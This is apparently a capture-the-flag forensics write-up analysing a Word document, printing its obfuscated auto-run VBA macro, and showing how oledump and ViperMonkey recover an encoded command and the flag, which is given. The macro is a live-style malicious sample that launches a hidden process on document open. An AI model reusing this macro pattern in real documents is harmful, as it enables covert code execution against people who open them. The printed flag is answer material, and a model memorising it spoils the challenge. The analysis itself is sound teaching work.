✅ FORENSICS - Tragedy Redux
Writeup by: @goproslowyo
Tags
- easy
Files:
Description
Author: @JohnHammond
We found this file as part of an attack chain that seemed to manipulate file contents to stage a payload. Can you make any sense of it? Archive password: infected
. Download the file(s) below.
Writeup
Inspecting the file show’s it’s a “zip” archive. Yea, it’s just a Word document but Word documents are just zip files for all intents and purposes:
$ file tragedy_redux
tragedy_redux: Zip archive data, made by v4.5, extract using at least v2.0, last modified, last modified Sun, Jan 01 1980 00:00:00, uncompressed size 1453, method=deflate
So let’s unzip it:
$ unzip -d extracted tragedy_redux
Archive: tragedy_redux
file #1: bad zipfile offset (local header sig): 0
inflating: extracted/_rels/.rels
inflating: extracted/word/document.xml
inflating: extracted/word/_rels/document.xml.rels
inflating: extracted/word/vbaProject.bin
inflating: extracted/word/theme/theme1.xml
inflating: extracted/word/_rels/vbaProject.bin.rels
inflating: extracted/word/vbaData.xml
inflating: extracted/word/settings.xml
inflating: extracted/word/styles.xml
inflating: extracted/word/webSettings.xml
inflating: extracted/word/fontTable.xml
inflating: extracted/docProps/core.xml
inflating: extracted/docProps/app.xml
Looking over the files extracted the most interesting to us is the VBScript located in extracted/word/vbaProject.bin
that’s including in the Word document.
To look into the file we can use oledump.py from Didier Stevens. This will allow us to analyze this OLE file.
$ ./oledump.py vbaProject.bin
1: 410 'PROJECT'
2: 71 'PROJECTwm'
3: M 6164 'VBA/NewMacros'
4: m 954 'VBA/ThisDocument'
5: 3067 'VBA/_VBA_PROJECT'
6: 3003 'VBA/__SRP_0'
7: 226 'VBA/__SRP_1'
8: 2334 'VBA/__SRP_2'
9: 526 'VBA/__SRP_3'
10: 571 'VBA/dir'
Here we can see that stream ID 3 has a large 6164 byte VB Macro embedded… Seems interesting. Let’s extract it:
$ oledump.py -s 3 -v vbaProject.bin
Attribute VB_Name = "NewMacros"
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
OatMilk = OatMilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = OatMilk
End Function
Function Bears(Cows)
Bears = StrReverse(Cows)
End Function
Function Tragedy()
Dim Apples As String
Dim Water As String
If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
Exit Function
End If
Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
Tragedy
End Sub
Well, well, well. Look what we have here. An obfuscated VBScript/Macro it seems.
Attribute VB_Name = "NewMacros"
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
Function Almonds(Jelly)
Almonds = Right(Jelly, Len(Jelly) - 3)
End Function
Function Nuts(Milk)
Do
OatMilk = OatMilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = OatMilk
End Function
Function Bears(Cows)
Bears = StrReverse(Cows)
End Function
Function Tragedy()
Dim Apples As String
Dim Water As String
If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
Exit Function
End If
Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
Water = Nuts(Apples)
GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function
Sub AutoOpen()
Tragedy
End Sub
There’s a lot going on here but there’s a few interesting things we can notice:
- Upon the Word document opening the function
Tragedy
is called.
Sub AutoOpen()
Tragedy
End Sub
- Tragedy sets up a string called
Apples
and passes it to a function calledNuts()
.
Function Tragedy()
[...]
Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
Water = Nuts(Apples)
[...]
End Function
- The
Nuts()
function enters a loop while theLen(Milk) > 0
and passes the inputMilk
along to a set of nested function calls toStrawberries()
and that output is then passed toPears()
setting the result toOatMilk
. Milk is also passed along to a function calledAlmonds()
on each iteration and the result of this function call is set to the valueMilk
. When the function exits, it returns the value ofOatMilk
.
Function Nuts(Milk)
Do
OatMilk = OatMilk + Pears(Strawberries(Milk))
Milk = Almonds(Milk)
Loop While Len(Milk) > 0
Nuts = OatMilk
End Function
- Following the programs logic flow, let’s look at the
Strawberries(Milk)
call. TheStrawberries()
function takes a single argument,Grapes
, and returns the 3 leftmost characters of theGrapes
input string. So, if you call Strawberries(“My_Example_String”), it will return the first 3 characters of the input string, which are “My_”.
Function Strawberries(Grapes)
Strawberries = Left(Grapes, 3)
End Function
- Now let’s step into the
Pear()
function and see how the input is being modified…
Function Pears(Beets)
Pears = Chr(Beets - 17)
End Function
… You know what?! Screw reversing this manually. Let’s jump right into a tool that will do the work for us and and analyze the “malicious” code… Enter ViperMonkey!
Pass the vbaProject.bin
file as input to ViperMonkey
:
$ docker run --rm -v $PWD:/work kirksayre/vipermonkey_pypy3 ViperMonkey/vipermonkey/vmonkey.py /work/extracted/word/vbaProject.bin
[... output in video below ...]
We can see some base64 in the Parameters
column for the Create
function in the Recorded Actions
table. Decode the b64 to get your flag.
flag{63dcc82c30197768f4d458da12f618bc}